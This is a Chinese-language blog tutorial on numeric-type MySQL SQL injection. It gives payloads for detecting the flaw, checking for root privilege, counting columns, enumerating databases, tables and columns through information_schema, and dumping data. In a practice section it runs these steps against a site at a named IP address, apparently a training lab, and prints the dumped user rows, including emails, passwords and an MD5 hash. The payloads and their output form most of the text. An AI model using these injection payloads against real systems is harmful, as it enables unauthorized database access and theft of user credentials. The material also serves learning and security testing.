首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >sql注入入门学习(数字型)(连载中)

sql注入入门学习(数字型)(连载中)

作者头像
一个淡定的打工菜鸟
发布于 2018-12-07 02:12:40
发布于 2018-12-07 02:12:40
1.2K0
举报
文章被收录于专栏:淡定的博客淡定的博客
判断sql注入
代码语言:javascript
AI代码解释
复制
1.提交单引号
2.and大法和or大法
3.加法和减法,加号  %2b
数据库权限判断
代码语言:javascript
AI代码解释
复制
and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0
判断字段数

用union联合查询

代码语言:javascript
AI代码解释
复制
and 1=1 union select 1,2,3,4,5……
union select null,null,null.....

用order by 查询

代码语言:javascript
AI代码解释
复制
order by 1,2,3,4
查询库名
代码语言:javascript
AI代码解释
复制
判断数据库版本
and ord(mid(version(),1,1))>51 
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1
查询表名

MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

group_concat

代码语言:javascript
AI代码解释
复制
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'
查询字段

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

代码语言:javascript
AI代码解释
复制
and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'
查询数据
代码语言:javascript
AI代码解释
复制
and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
实战演练

打开网站http://43.247.91.228/content-1/index.php?id=0,我们在这里做注入练习

1.首先加单引号报错,可知存在明显的注入漏洞

2.输入and ord(mid(user(),1,1))=114不报错,可知数据库的权限是root权限,并且具有可读可写的权限

3.输入 and 1=1 union select 1,2,3,4,5,6,7,8不报错,可以发现这个表的字段有8个

4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--;--注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库

  • information_schema
  • inject
  • mysql
  • performance_schema

5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的表名,下面列出所有的表

  • users

6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段

  • idusers
  • name
  • email
  • password
  • ua
  • ref
  • host
  • lang

7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--

获取到的数据如下:

代码语言:javascript
AI代码解释
复制
0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en

可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018/11/08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4.2K1
数据库的一些注入技巧-mysql
SELECT 1 FROM dualWHERE 1 = '1'''''''''''''UNION SELECT '2';
Jumbo
2019/11/05
1K0
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
核心原理: MySql内置的infromation_schema库,它功能强大,是我们进行MySql注入的基石!
tea9
2022/07/16
2.2K0
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.4K0
2022年最详细的SQL注入总结笔记
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4.5K0
SQL注入从入门到进阶
SQL注入原理剖析
SQL注入原理剖析 SQL注入流程 SQL注入流程: 1、判断是否有注入(判断是否为严格校验) 2、什么类型的SQL注入 3、语句是否能够被恶意修改 4、是否能够成功被带入执行 5、获取我们想要的数据
渗透攻击红队
2019/11/19
1.1K0
SQL注入(SQL注入(SQLi)攻击)攻击-脱库
确认网站存在SQL注入时,可以对其进行脱库,即获取数据库表中的内容,比如用户的敏感信息
红目香薰
2022/11/29
9960
SQL注入(SQL注入(SQLi)攻击)攻击-脱库
sql注入技术大总结
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
黑战士
2024/04/14
3580
Web Pentester Sqlinject
该文章是关于SQL注入漏洞的总结,通过分析不同的SQL注入类型、利用方式、漏洞危害以及修复建议,详细阐述了SQL注入漏洞的检测与防范方法,旨在加强对该类漏洞的理解和防范意识,提高网络安全防护能力。
企鹅号小编
2018/01/03
9150
Web Pentester Sqlinject
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/04/15
1.1K0
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
1.2.1-SQL注入-SQL注入语法类型-union联合查询注入
SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同。
tea9
2022/07/16
1.1K0
SQL注入的各种姿势
当我们在输入框中输入不正常的id如1’ union select 1,database()%23,sql语句为
天钧
2019/07/26
1.3K0
SQL注入的各种姿势
SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。 常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点
Jetpropelledsnake21
2018/06/14
2.2K0
sqli-labs练习(第五、六关)
这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome。
宸寰客
2020/07/21
1.1K0
sqli-labs练习(第五、六关)
sql注入笔记
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%
tea9
2023/03/08
6260
SQL注入 安全狗apache4.0.26655绕过
本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。
乌鸦安全
2021/08/05
9210
SQL注入 安全狗apache4.0.26655绕过
SQL注入报错注入函数[通俗易懂]
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
全栈程序员站长
2022/11/11
4.9K0
SQL注入报错注入函数[通俗易懂]
新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注
FB客服
2018/02/24
1.3K0
新手科普 | MySQL手工注入之基本注入流程
PHP 编程SQL注入问题与代码
SQL注入问题是Web安全中最为常见的,多数情况下是用户在编写原生SQL语句时没有考虑到的一些细节,例如对用户输入过滤不严格等,典型的注入漏洞代码已经做好了总结,大家可以更具实际情况学习代码存在的问题,方便查缺补漏。
王瑞MVP
2022/12/28
2.5K0
安全笔记
CONCAT()函数用于将多个字符串连接成一个字符串。 使用数据表Info作为示例,其中SELECT id,name FROM info LIMIT 1;的返回结果为
XRSec
2022/02/13
4390
相关推荐
SQLi_Labs通关文档【1-65关】
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
首页
学习
活动
专区
圈层
工具
MCP广场
首页
学习
活动
专区
圈层
工具
MCP广场